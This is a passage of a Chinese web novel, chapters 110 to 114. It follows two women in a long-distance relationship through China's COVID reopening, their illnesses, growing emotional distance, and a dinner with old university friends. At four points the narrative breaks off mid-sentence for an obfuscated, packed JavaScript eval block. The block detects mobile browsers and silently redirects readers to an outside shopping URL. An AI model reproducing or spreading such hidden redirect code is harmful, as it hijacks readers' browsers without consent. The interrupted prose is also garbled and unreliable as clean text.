这时候,她们已无法互相给予对方慰藉,更怕对方被自己的消极情绪拉入更深的泥潭,于是只敢独自消化。 有时候,洛依会拒绝秦离的通话请求:【今天真的太难受太累了,不想说话,我们改天好吗?】 秦离已经很久很久没听到她喊姐姐了,也很久很久没听她撒娇了。 她觉得很无力,但知道这是因为她们太久没见面了。 相隔一千多公里,再多的语言都显得苍白。或许就像洛依说的,如果她们能见面,能拥抱,能亲吻,能感受对方的呼吸和体温,那么一切都会迎刃而解。 但现在,一切都无济于事,她再努力也没用。 渐渐地,有时候,秦离也会拒绝洛依的通话请求,特别是在她还在办公室,或者有同事在宿舍的时候。 洛依送她的蓝牙耳机也在某次不小心混着衣服在洗衣机里洗过后坏掉了,能听但不能收麦。所以总要等周围环境比较安静的时候,她才会和洛依打电话。 如果周围有人在,便不太方便。 这是个无可挑剔的理由。 其实,她们依旧会发很多消息,并没有像秦离当年和黎羽那样,最后陷入无话可说的地步。她们只是不约而同避开了严肃的话题,比如什么时候能再见面,比如异地恋怎么解决,比如秦离到底还能不能去花城。 洛依觉得,她说这些便是给秦离压力,也知道当前环境下这些都不是谁能决定的,说了也没用,徒增烦恼。 秦离却觉得,洛依这样或许是对她已经不抱有期待了。而且如果恋人在这件事上没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370240|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有给予她反馈,她的行动力只会越来越差。 这件事上她们吵过一两次,便都默契地不提了。 她们聊了更多轻松的话题,洛依依旧会说很多她玩的游戏,看的比赛和视频的内容,说到激动时刻声音很清亮,又有几分亲昵,让秦离依稀又找回了当初洛依很依赖她,很乖巧的样子。 她喜欢这种感觉,于是会加倍看洛依喜欢的东西,跟她聊很多。 有时候,秦离也会给洛依发一些自己喜欢的东西。洛依也都会看,看会也都会给秦离反馈,只是她或许不像秦离那么有精力去深入了解。 但这对秦离来说,已经足够了。 秦离发现洛依在自己之外还维系着其它社交是在某次搜索她的大眼账号之后。 其实秦离一早就知道洛依的账号,只是最近都没有去看,那天突然想起,将她这半年来发的博都看了看,然后发现她总和几个固定的账号互动。 她一一打开都看,基本能猜出是谁,有洛依提到过的读书时期关系最好的朋友,还有田薇和谢依霖。 才过去一年,秦离想到田薇和谢依霖都觉得印象有些模糊了。但她知道,她们和洛依从培训开始关系就很好。 只是没想到,培训结束后三个人去了不同城市上班,依旧保持高频率的互动。一瞬间,秦离又体会到了当初还未和洛依在一起时,看见她们三人经常扎小堆那种酸涩的心情了。 而且秦离本来是个非常喜欢发朋友圈的人。即使和洛依在一起不方便公开,但还是忍不住,暗戳戳地发些她送给洛依的礼物,还有两个人去过的地方,想要留下她和洛依在一起的痕迹。 但洛依是个非常不喜欢在社交网络上留下自己痕迹的人,基本不会在朋友圈或是大眼发任何跟现实生活有关的内容。 于是,秦离每次在她下面的评论都尽可能表现地像一个普通朋友,她的大眼更是几乎没有去互动过。 现在乍然看到其她人跟洛依的频率如果频繁且活泼,秦离心中五味杂陈。 晚上聊天的时候,秦离不露痕迹地将话题引向了当初的培训和当初的人,说起了罗娜,也就自然说起了田薇和谢依霖。 果然,洛依对她们的近况很了解。她们三人有个小群,时不时也会在里面一起各种吐槽工作中的各种奇葩事。 其实群聊天并不是很频繁,至少不是每天都有,大概是好几天或许十几天才集中聊许久,远远比不上秦离和洛依直接的聊天量。 这些都挺正常的,秦离也都知道。就像在洛依之外,她也会跟其她朋友聊天。大家都不是离开了恋人什么接触的人都没有。 只是秦离之前没有意识到这点。她总希望洛依的全世界只有她,只依赖她。 在看见她还有其她自己接触不到的人和事,就心中惶惶。 但这些自私的想法,在现在和洛依这样的关系里,她没法说出口。 时间很快到了初冬,社会上隐隐有风声,情形似乎有变化。 说是要放开了。 111. Chapter 111 这半年多,秦离基本处于与世隔绝的状态。社会上各种消息混杂,第一次听到要放开的消息,秦离只觉得太假了。现在各地每天都新增这么多病例,形势看着一天比一天严重,突然就说要放开了? 她没把这种说法放在心上。 然而过了段时间,要放开的风声越来越强烈,连带着说现在的疫情没有一开始毒性那么强了,大家恢复起来也更快。 秦离不知道是真是假,只是心中不安,赶紧叫妈爸把什么连花清瘟,蒙脱石散,抗原测试剂等许多东西都买回去,又囤了很多口罩。 总之,能晚阳一天是一天。 特别是妈妈曾经得过结核病和癌症,她不敢想象要是她感染了,还能不能撑下来。 爸爸带着妈妈在老家乡下住着,住在外婆外公的房子里,这样可以少接触些人。但他平时要上班,不可能完全避开风险。 秦离也只能提醒她们注意防范,好好吃饭睡觉提高免疫力。 人到了这个时刻,仿佛回到了原始社会,靠的只有自己的身体素质, 相比之下,被关在单位的秦离和洛依两个人反而是最安全的。 这段时间,洛依也忙于跟家里人沟通,交代她们千万要小心。 虽然两人依旧保持着联系,也会说些关心的话,但在严肃的现实问题面前,家与家之间的距离显得如此遥远。大家都忙于关心二十多年来朝夕相处的家人,诉说痛苦和担忧,而才短短一年多的恋人,也只是比普通朋友好上一些。 初冬的某个周五,秦离印象很深刻,那天下着小雨,天阴冷得不行。 中午的时候,突然接到上级通知,说全社会都彻底放开了,我们也不需要管控了,大家可以回家,可以恢复正常生活秩序了。 一时间,秦离只觉得世界变得好魔幻。 明明前一天每日防疫工作会上还提到最近哪些回来的人需要隔离,核酸检测工作上如何安排的,结果一夜之间,所有这些好像都不需要了。 那时候,她还不知道,再过几个月,连疫情这个词都会远得好像上个世纪发生的的事。 单位各部门的考虑不同,有些部门马上就通知大家回家,像秦离她们部门领导比较慎重,还在开会研究中。 那个傍晚,秦离和同事一直在操场上说话走圈,看着其它部门的人脸上挂着喜气洋洋的笑容,欢天喜地地拎着行李回家。 她们走了一圈又一圈,吐槽这个离谱的世界,直到最后月亮高挂在黑夜中,没有得到离开的通知,悬着的心终于死了。 “哎,就这样吧,晚点离开也好,安全。” 也只能这么安慰自己了。 后来的一切都席卷得很快。 自从放开后,很多认识的人都阳了,朋友圈每天都有人在发带两条杠的测试剂和头昏脑涨,发烧喉咙痛的痛苦反应。 新冠毫不留情地攻击每个人的薄弱点。 秦离能回家了。她家离单位很近,开车上下班,倒还算安全。 但在知道妈爸在老家都遭了之后,她坐不住了,跟领导请假要回老家去。 领导道:“现在回去,大概率你也要遭感染的。” 确实,单位也有人——主要是没有异地任职没有家人在南城的——在放开后依旧住在宿舍没离开的,这时候倒是最安全的,毕竟阳了的都在家里休息了。 秦离也知道回去百分百会被感染,但现在这样,她也不可能不走啊。她不回去,谁能照顾妈爸呢。 领导批假了。 秦离开着两百多公里的路赶了回去。 她知道,洛依也回家了。 在刚开放时,洛妈洛爸似乎就都阳了。但她们恢复得很快,健康之后就迫不及待叫洛依回家,或许是担心她如果在花城阳了,没有人照顾吧。 这时单位许多人都阳了又康复后回来了,洛依也趁机休了剩下的年假回家。 回家后,她的状态好了许多,主动给秦离发消息的频率高了很多,也关心她这边情况怎么样了。 但秦离最近忙得焦头烂额,心情一团糟,实在没有多余的精力去考虑关系维护。 回到家里,看到妈爸艰难地互相照顾着,秦离鼻头一酸,差点哭出来。 妈妈笑着道:“喊你不要回来,浪开还是跑回来了。这是你姨这会刚好回家了不在,在老家,还担心找不到人照顾哦。都是人!” 爸爸咳得厉害,不太能说出话。 秦离一声不吭。她知道这都是妈妈安慰她的话,虽然都是亲戚,但谁没个家,这种关键时刻,自然是照顾自己家里人最为重要。 还好她坚持回来了。 妈爸分开在两个房间,秦离戴上口罩,每天熟练地采买、做饭、分药、消毒,恍惚间好像又回到了妈妈重病那段时间,每天累到晚上倒头就睡,而且内心惶惶不安,落不到实处。 她真的很怕,怕哪天醒来,妈妈就突然旧病复发。她听过新冠引起了很多人的并发症,特别是年纪偏大的人,不是死于新冠,而是旧疾。 这种恐慌的情绪在碰上洛依消息里那种轻松的语气,在心底酝酿成一股微妙的埋怨感,对对方。 特别是在自己向洛依说出最近的恐慌不安,却得到“轻飘飘”的安慰和转移话题后。 其实,理智上秦离知道,洛依已经在尽可能地安抚自己的情绪,转移话题也是发些有趣的东西过来,希望能转移自己的注意力。 但或许就是这样,人和人是无法感同身受的。她的痛苦落在屏幕上,也只是轻飘飘的一句话,又怎么能要求没有经历过的人来共情呢。 即使她们是恋人。 好消息是,经过了最难挨的时期后,妈爸的身体都慢慢变好,直到最后测试剂终于变成了一条杠。 托了熟人的关系,秦离和爸爸送妈妈去医院检查了番,还好,没有引起并发症,不幸中的万幸。 这一番折腾后,秦离身心放松下来,这下,轮到她倒下了。从相似的症状来看,应该是被妈爸传染的。朝夕相处,这也是没有办法的事。 巧合的是,洛依也是在这时候阳的。 两人仿佛心有灵犀一般。 当天晚上,秦离的体温持续上升,从37度多飚到了近39度。到后面她整个人昏昏沉沉的,意识不清,只模模糊糊感觉到好像有人给她喂了吃的喝的,又服了药,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370241|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后便是沉睡。 一直沉睡。 睡了一觉后,烧好歹是退下去了,其它症状全部冒了出来,秦离终于体会大家说的吞口水像刀子一样,浑身无力各种奇怪的地方在痛是什么感觉了。 她艰难吃着黄桃,寻求一点心理慰藉。 其实其它的都能忍,就是腰痛实在是受不了。腰椎带着坐骨神经连着一长条直到小腿都是痛的,一开始连动一下都无比疼痛,根本没法走路,还是妈妈托了相熟的中医来做了几次针灸才好多了。 不愧是会攻击所有人薄弱环节的新冠疫情。 洛依也难受得不行。 她本来身体就比较弱,阳了后各种反应都比秦离要厉害得多。 洛依自嘲两人是落难小情侣,你瘸我拐的,搀扶着过日子,每天都在互相安慰,打电话的频率比之前高了不少。 秦离心疼她:“要不要吃点止痛药啊?” “昨天已经吃过了,效果也不明显,算了。” “那怎么办呀?” “没办法,硬扛着吧。” 躺在床上闲着无聊,两人又挂回了一起看视频的平台,看着上面“秦同学的月亮”“洛同学的星星”两行并列的ID,明明在病中,心情却明媚了许多。 洛依选了她喜欢的女明星两年前的旧剧。女明星是爱豆出身,演技算不上好,但这部的角色比较贴她性格,又和女主有点师姐妹姬情,挑着她俩的片段看,还算是有意思。 可能是病中的原因,洛依的声音软软的,听上去很乖巧。两人很久都没有这种慢悠悠一起聊着天看些什么,内心很宁静的感觉了。 秦离突然产生了一种,阳了似乎也不错的感觉。 如果这时候洛依在身边就好了,秦离感叹着。为什么她们就不能生活在一座城市呢? 读书的时候,秦离曾听说过许多异地恋的情侣最后不得不分开的故事。那时候她想,一定是她们之间的感情不够深厚,要是双方都有爱的话,什么困难都可以克服的。 但真到自己身上,她才深感现实不是童话,不是一句有爱就能解决一切困难的。 她确实能够不顾一切马上辞职去花城,但那之后呢,她要靠什么维系她在花城的生活,能不能找到想要做的工作,如果和洛依的感情淡下来或者产生矛盾,她会不会责怪对方,说出当初自己为对方做了很大牺牲那种话?还有妈爸,她应该如何跟她们说自己就要远离她们去花城定居的事? 如此种种,秦离考虑了很久。 她确实不是一个果断的人,顾虑总是太多。如果生活足够糟糕,她独自一人没有任何退路,倒是可以破釜沉舟行动,但偏偏还行,行动便愈发困难。 秦离想到自己未来可能会落得和洛依互相埋怨,一地鸡毛的世俗结局,就觉得毛骨悚然。 因此她能做的,就只有将这个选择转化为寻找自己想要做的事业,这样就算就算就算……她未来和洛依之间发生了任何不美妙的事甚至分开了,她也不会后悔去花城的决定吧。 可惜……自己连第一步都迈不出去…… 将自己埋在被子里,或许是因为生病的缘故,秦离越想越悲观。 112. Chapter 112 一周多后,秦离终于阴了,重返工作岗位。妈爸仍呆在老家,休养身体。 世界好像恢复了正常秩序,网络上、人们口中都不再提及新冠疫情,做核酸的亭子慢慢荒废,墙上贴着的标语经历日晒雨淋,上面的文字逐渐模糊不清。 唯一留下的痕迹,是大家仍然习惯佩戴的蓝色口罩,人和人之间的距离依旧很远。 秦离的身体也变差了许多。 重返工作岗位,她坐在靠窗的工位上,窗户没关严,有微风飘进来,她喉咙发痒,止不住咳了好几声。 对面是科室的老大姐,姓张,快四十岁了,大家都喊张姐。 张姐抱着开水杯,关切道:“衣服穿少了哇。” 秦离拿纸巾擦了擦鼻子:“也不少啊,感觉就是刚刚那阵风吹得。” 她最近很怕冷,才初冬时分,就已经穿上厚毛衣了。往年这个时候,一件普通长袖加大衣,她就能过活。 “是新冠后遗症啊!” 隔壁的小方凑了过来。她刚入职不到一年,正是最活泼的时候。 “我觉得自从阳了后,身体弱了好多,喝口凉水都不舒服。还有,稍微走点路就喘,总觉得累得很。” 科室里其她人也围了过来,都很赞同。 秦离也深有感触。她觉得体质明显变弱了,干什么都很疲累,提不起劲。她还听说好多人肺部都钙化了,未来说不定还有二阳、三阳、四阳…… 她还没去检查,不知道身体内部变成了什么样子,但总怀疑自己肺上是不是也蒙上了一层阴影。 就像心上一样。 整个世界都好像南城的冬日一样,灰蒙蒙的。 活着也突然变成了一件好艰难的事。 大家感叹的话越来越多,张姐提到:“你们年龄小,新冠后遗症还不明显,很多老年人才是真的遭罪,扛过了新冠,但没扛过并发症。光我知道的身边朋友,就已经有四五个人家里老人去世了。” 是这样吗? 秦离恍惚。 后来某天,秦离和妈妈打电话时提到这件事,妈妈点头赞同:“是啊,好多,这个月我光送礼就送咯三次,过两天还要切吃丧席,你魏嬢嬢的老爸,就东街开店那个魏嬢嬢。” 秦离有点印象,对魏嬢嬢和她老爸——那个每次都坐在店里看报纸的老头。 她知道新冠疫情很严重,也知道全球都死了很多人,但这是第一次直白地意识到…… 因为疫情,真的有人死了。 活生生的人。 秦离心中那种不舒服的感觉愈发强烈,晚上和洛依聊天的时候说到这件事。 洛依赞同道:“确实是死了很多人吧,就算是挨过来的大家,身体都变差了很多,我现在每天没干些什么事都觉得好累啊……” 接着便是常态对单位的奇葩同事和领导的抱怨。 这些话,秦离已经听过很多次了。过去的每一次,她都很耐心地安慰洛依,努力和她共情,生怕自己没有顾及到对方的感受。 她还不能把这样的心思直接说出来,怕在洛依面前显得太小心翼翼。当然,或许说出来,她也会意识到对方并不一定需要她这样的小心翼翼。 但最近,她觉得有些累了。 特别是她微妙地意识到,洛依似乎没有察觉出她想要表达的意思,体会到她心中那点面对死亡的彷徨恐惧。 但更多的话,她也无法直白说出来。 于是到最后,又变成了浮于表面的无力的关心,像表演一样。原本疫情期间线上相互陪伴温存的时光像泡沫般消散,放开之后,工作事务再度变得繁多,生活琐事也一件接着一件,秦离能感觉到,洛依越来越无力顾及和她的联系。 两人的消息落在了浅薄的日常和对工作的抱怨,除此之外的一切,都变得难以共情。 秦离隐约感觉,两人的关系再度陷入僵局,却不知道如何改变。 她也曾问过洛依:“要一起线上看电影吗?”或者“最近模拟人生里的小人怎么样了?”洛依仍然会及时回复她,但似乎总有其它很多事阻碍了两人靠近。“今天晚上要值班。”“最近太累,已经很久没打游戏了。” 于是,秦离也没有办法了。 其实,还是异地恋的原因吧。秦离思考着。 因为异地恋,两人无法见面,无法拥抱,不知道对方抱着怎样的心情打下每一段文字,不知道两个人的心是否还能靠在一起。 未来还那么漫长,她们连设想好的同居生活都还没开始,携手走下去的路就已经变得艰难。 秦离觉得不安,于是问洛依:“要不我这周末过来吧?” 洛依犹疑着,最后还是说:“要不再等等,等翻过年?最近我们单位管得挺严的,晚上都不让在外面住,你过来我们也没法好好呆在一起。而且你们应该也不让随便跑到外地去吧,要是被发现了不好,还是再等等吧。” “……也是。”秦离只能同意, 她知道洛依说的也是事实。虽说已经解禁了,她们单位还是比较谨慎,让大家尽量少去人多的地方,更不要说去异地,还是等度过这段开放期再看看。 现在不要那么着急见面是最合适的决定。 秦离都懂的,但仍不免感到失落。她无比迫切想见见洛依,越快越好,比起思念,更像是为了证明什么东西。 洛依轻飘飘的“等等”让她不敢采取任何行动。若是换作八九年前,她或许会不顾一切马上买机票飞过去,一定要逮着人问个明白,但多活了这么些年头,她也少了那股冲劲,觉得算了吧,不要勉强,还是慢慢来。 翻过年的一月底就是花城新一年的省考了。秦离想着,最晚到那时候她总要过去的,在这之前别想那么多,干脆就好好备考吧。 要是这次能考上,她能去花城就好了。 就一个多月的时间。等考上了,就能在一起了,一切问题都能解决了。 秦离这么安慰自己,忽略心里空落落的感觉。 阳过又好了的人越来越多,电视上、新闻里和社交媒体中,疫情的消息越来越少,人们似乎很快就投入了正常生活,像是跟过去没有什么区别。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370242|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 日子就这么不温不火地过着。秦离依旧每天都和洛依发着消息,但少了那些亲密的话语,秦离有时恍惚觉得两人的对话跟普通朋友聊天没什么区别。 她有意想像过去那样腻歪,却不知道怎么开头,只能转头将注意力投向其它领域。 趁着疫情放开,又能和很多朋友见面了。秦离想着,还好我有很多朋友。 杨晓瑞也从英伦国回来了。她和秦离、郭平是大学同学,在E大时她们这群南城老乡关系最好了,一起吃喝玩乐打麻将,但毕业后东西奔走,也是聚少离多。 同在南城,秦离跟郭平刚开始每个月都还会碰碰面,到现在一年也见不到一两次了。为工作和生活而忙碌,大家主动约人出来的念头也越来越淡。 这次杨晓瑞回来是近期秦离难得开心的事情。回来的第二天是周六,三人就约着去吃椰子鸡——在英伦国呆了七年多,杨晓瑞的胃已经适应不了南城的辣度了。 一大早,秦离就跟洛依说了要和老同学吃饭的事,洛依让她好好聚开心玩,提到自己今天也要出门。 秦离心情有些微妙,问道:“是约了谁一起出去玩吗?”在她主动说起自己的安排前,洛依似乎没有提到这件事的打算。 “我妈爸来了,说看中了几个楼盘,要去现地考察。” “楼盘……”秦离愣了下,“是要在花城买房了吗?” “嗯,她们总想着让我尽快在花城买房安定下来,最近天天提。我都说了别这么着急,她们非要来,好烦。陪她们看完楼盘,我还要回单位继续做课题。” 洛依的岗位跟计算机研发有关,做的工作也多是秦离不太了解的内容。 其实,在两人还很腻歪的时候,洛依也提过家里想在花城买房的事。因为花城离庸城很近,又是沿海大城市,洛依妈爸是希望她能在那里扎根定居的。那时候,秦离还打趣说,等以后来花城了,还要在她的房子里蹭吃蹭喝呢。 两人设想过的好多同居的美好日子,现在想起来却朦朦胧胧,像隔着一层纱。 再说到买房的事,秦离却只觉得洛依离她好像越来越远。 “买房啊,也挺好的。你怎么周末还要加班?” “哎,还不是那个奇葩的幺蛾子科长,一堆想到就提的要求,还说这个课题很重要,领导非常重视,一定要周一上班前就弄出来,烦。今天头痛得不行,眼睛也痛。” “这样啊,那,早点弄完早点休息吧。不舒服还是去医院开点药?” “估计是偏头痛,老毛病了,吃药也没用,哎算了,硬抗吧。” 话题到后面不了了之。 最近总是这样,其实秦离也能理解,洛依是个低精力的人,大概工作的消耗就已经让她精疲力尽,想见到恋人的期待也在长期的异地中逐渐消磨。 她还能说什么,又做什么呢。 秦离又能说什么,做什么。 她就像陷进了厚厚的棉花里,有力使不去,只能眼睁睁看着这段关系越来越僵硬。 她心中五味杂陈,情绪低迷着出了门。 113. Chapter 113 和老朋友再见——即使已经隔了许久——依旧让人开心。三人说话就没停过,说自己的生活,问其她人过得怎么样,也怀念怀念曾经美好单纯的大学生活。 七年多的硕博连读、一年多的疫情防控,让杨晓瑞看上去沧桑了许多。她说话还是像过去那么有意思,多年海外生活没有消磨她的南城口音。 “阿离、郭平,哎呀,你们都不晓得我在英伦国过的撒子苦日子。论文嘛,论文不好写,过两天就听到隔壁哪个又遭抬起走了。好多人都感染了,那些英伦人日怪得很,还不上心,还要出去耍,真是命都不要咯。我反正是门都不敢出,能缩在屋头就缩起。” 她的语气一如既往的夸张,听得人哈哈大笑。 秦离听她说到躲在租的房子里煮东西吃,结果大锅烧烂了,小锅的尺寸还不匹配,惨得不行。 “终于回来了。还是国内好啊,这鸡太好吃了!” 秦离看她认真吐槽的样子,笑得更厉害了。但笑着笑着,她也注意到了杨晓瑞眼尾的皱纹和常年熬夜的眼下乌青。 留学读书的日子并不如想象中那么美好。杨晓瑞现在顺利毕业回来了,但接下来找工作的事只会更加恼人。 杨晓瑞也说着她现在身体好多零件都不灵光有问题,胖了二十斤,睡眠也变差了很多,老是半夜惊醒失眠,很难睡个整夜觉。 说到体重和睡眠,郭平也深有同感:“我也是!体重一飚再飚,减也不好减。睡眠,哎,稍微有点声音和光线,或者喝点茶就睡不着,要酝酿好久。” 老同学见面,郭平的话也多了不少,倒了很多平时不提的工作苦水。银行光鲜亮丽的待遇之下是时刻存在的业绩压力,所谓一人银行全家帮忙,但郭平家没什么关系,全靠他自己打拼。他打趣道:“支行附近三公里内的每个写字楼我都去扫过楼,一年几百上千万的存款任务都是我找一个个散户拼出来的。” “当然,现在没有刚毕业出来的时候那么苦了,也积攒了些客户资源,只是要时刻维护。前年跟了个大客户的保险项目,要是办下来提成大概有个几十上百万,不过现在还是虚的。” 饭桌上没有拿酒,于是郭平将杯子中的豆奶一饮而尽。 听两人说了不少,秦离有些恍惚。她身边的朋友中,杨晓瑞和郭平一直是对自己想走的道路最明晰的两个。郭平大学时高分进入E大读金融系,实习到毕业工作都是在银行,看中的也是银行收入高。杨晓瑞则是大学毕业就去了英伦国,也是打定主意读到博士后回国进入大学教书。 她们不像自己没有人生目标,迷茫着浪费了许多时间。大学好像在昨天,大家却都已经被现实折磨得疲惫不堪。 想想也是,秦离心里盘算着,她工作这几年也胖了不少,过去认为绝对不会超过的安全体重也一次次被超越。生理期也是,十分不规律,两三个月不来是家常便饭,有时候来也是两三天就没了,量也很少。那天照镜子的时候,她发现眼下细纹和脸颊的法令纹都已经变得显眼,那些痘痕也沉淀成了难以去除的小痣。 她还没感觉到青春,就已经开始衰老。 秦离还穿着大学时买的红色大衣,开始回想当初生活是怎样的心情。 会有这么多烦恼吗? 郭平没有抱怨太久。秦离是这两年才意识到,他是那种典型报喜不报忧的人,不会将自己的难处暴露太久。 他转而感慨:“还是阿离好哦,读书的时候耍也耍够了,现在工作也稳定。这个收入在南城还是可以,主要是没有业绩压力。而且在体制内多好,你不晓得,这两年工作太难找了,到处都在裁员,大家都想考公,估计难度会越来越大。” 杨晓瑞也赞同:“可以可以,旱涝保收,莫累到自己,赚到一点是一点。” 真的……好吗? 秦离不仅开始思索,她的工作确实是世俗意义上的好工作,但总觉得不是自己想要的。要说她真的想做什么,大概是全职写作吧,但是听大家都在说世道难,想想这些年家里的风波,她也不敢裸辞。 就算是想结束异地恋去花城,她想的也是继续考公。 投简历这件事实在是太可怕了,与社会人士比,她又没有任何有用的履历。 杨晓瑞和郭平说话总是如此真诚,让秦离很容易说出真心话。她没有犹豫多久,就说出自己想去花城的打算。 “是因为你小女朋友哦?”郭平听秦离说过她的爱情故事,有所了解,“花城的公务员待遇确实比南城这边好很多,但体制内工作还是离家近比较好,你在那边人生地不熟的,如果是因为她要过去,你们两个人心理压力都多大的。” 他说话比较委婉,对秦离感情不太了解的杨晓瑞说话就很直接了:“耶,阿离谈恋爱了撒,还是异地恋,那咋个不是对方换工作过来找你啊。” 秦离心里也梗了下,喝了口豆奶后,解释道:“她没有换工作的打算,刚好我又不太喜欢现在的工作,所以也是想着找到合适的工作才过去,不会什么都不考虑就跑过去。” 顿了顿,她又继续说:“我也不只是考公啦,也在看高校还有博物馆的工作。” 秦离确实是这么想的,所以在找工作这件事上愈加谨慎,不想让这件事成为洛依的压力。如果……是说如果,两个人以后万一分开了,她也不想因为当初为了异地恋奔赴而换工作的事,去埋怨谁,互相指责。 感情落到一地鸡毛的如此局面,也太可悲了。 但她这辈子都不想再做销售了。那除了参加公务员考试,似乎也没有能拿得出手的长处。 哎,要是写文能够卖个百万版权,一夜暴富就好了。那她可以什么都不用考虑,直接去花城深造,边读书边写文,异地恋问题也解决了。 这样就万事大吉了。 秦离依旧做着这些不切实际的美梦。 杨晓瑞不知道她心里的七七八八,认真帮她分析着:“高校的话,现在竞争也多激烈的,非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370243|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 升即走。而且你还是本科,要去高校,至少至少也要读个研究生,进去还只能做行政,现在好多大专老师都要博士了,只有部分民办和很少很少的本科还要研究生。去高校做行政远远比不上你现在工作耶。博物馆的话,太需要专业对口了,岗位也不多,我不太了解,但感觉也不容易。” 这些秦离也都知道,但她不知道还有什么是自己想做且能做的。也或许是知道,但是不敢破釜沉舟去做。 看她如此纠结的样子,杨晓瑞笑了,感叹道:“你啊,感觉还是和大学时一样,脑子里总有很多活跃的想法。也不着急,反正骑驴找马嘛,爱情重要,自己的人生也很重要啊。” 郭平点头赞同:“谈恋爱那股劲也是。当初对那个……是叫黎羽吧,就特别上头火热,现在还是这样。” 杨晓瑞加倍赞同:“恋爱脑。” 黎羽…… 这个名字已经让秦离恍如隔世,也勾起了那些原本以为早已扔进垃圾桶的回忆。 过去回想得太多让人伤感,饭局的后半段,秦离的兴致一直不是很高,回家后睡得也很早。 或许是白天聊过的缘故,睡梦中,秦离久违地梦见了黎羽。 其实,她好像已经不记得黎羽长什么样子了,因此梦中的她戴着米色的鸭舌帽,低着头,看不清脸。 她们两人坐在学校望月湖的秋千椅上,似乎离得很近,但又隔着浓雾,朦朦胧胧碰不到人。 但秦离知道那是黎羽,看见的那刻就知道了,没有缘由。 她们都望着湖心的月亮,好像在说些什么,秦离不知道。 然后黎羽就突然站了起来,踏着水波朝湖心走去,轻盈地像一片羽毛。 秦离是想要拉住她、叫住她的,但梦中的她不知道为什么没有动,就这样眼睁睁看着她一步步走向湖心的月亮。 “阿羽!” 在黎羽踩在月亮上时,秦离终于大喊出声。 黎羽回头看她,风吹落了帽子,月光洒在她的短发上,映出银灰色的光辉,闪耀着。 秦离还没来得及看清黎羽的面庞,只听见她轻声喊着自己的名字,然后落入月亮的幻影之中。 “阿羽……” 秦离在喃喃声中,也往下坠落。 就像掉进了兔子洞,不知道往下落了多久,等秦离回过神来,她已经站在了车水马龙的十字路口,四周人来人往,人群走得很快。 她四处张望。突然,有人在她身后拍了下她的肩膀。秦离转过身去,看见的是笑容羞涩的洛依。 “姐姐。” 洛依的眼睛清澈明亮,睫毛的每一次颤动都勾动人的心弦,让秦离的心化成一汪春水。 洛依的表情有些无辜委屈,就只是这么望着秦离:“姐姐,我好想你。” 她这么看着,秦离就一点办法都没有了。 秦离迎上去,将洛依抱进怀里,紧紧搂着。 “我……我也很想你。” 114. Chapter 114 醒来时还是深夜。秦离的床靠着落地窗,她看着天上的明月,转动右手无名指的戒指,莫名觉得有些心虚。 于是,她拍下那轮明月,发给洛依:【今天月亮好圆啊……睡不着,白天跟大学同学聊了好久,有点怀念不用工作的时候,哈哈[奶茶鼠揉脸.gif]】 调了些音乐,秦离放下手机,正准备闭目养神,洛依的消息进来了。 【我这边月亮也很亮。[奶茶鼠呆呆.gjf]】 跟着消息一起来的也是一张满月照片,和秦离这边的一样明亮皎洁。 两人看见的是同一轮月亮。 秦离的心也像那片流淌的月光一样柔和。她用指头戳了戳屏幕上的仓鼠,又发了摸黄色小猫头的表情图——只有在对着洛依时,她才会发这个。 【乖仔,这么晚了,怎么还没睡呀。】 【睡不着。=.=】 今晚的洛依好像格外可爱,就像在梦里一样。秦离好想抱抱她,就像梦里那样。 【我也睡不着。】秦离揉了揉眼睛。【要打视频吗?】 【太晚了,宿舍还有其她室友在,不好开灯。】 【好吧。】秦离有些失落。 似乎感受到她的低沉情绪,洛依又道:【可以打语音。但我这边也没法怎么聊天,只能很小声地说话。】 今晚的洛依真的好柔软,就像她们刚刚恋爱那样。秦离又很开心了:【那我给你弹尤克里里。我在家里,没人在。】 【好哦。】 秦离连忙爬起来,从柜子里翻出有些落灰的尤克里里,擦了擦。她靠坐着冰凉的落地窗,声音也是清清冷冷的。 “光落在你脸上 可爱一如往常 你的一寸一寸 填满欲望 城市啊有点脏 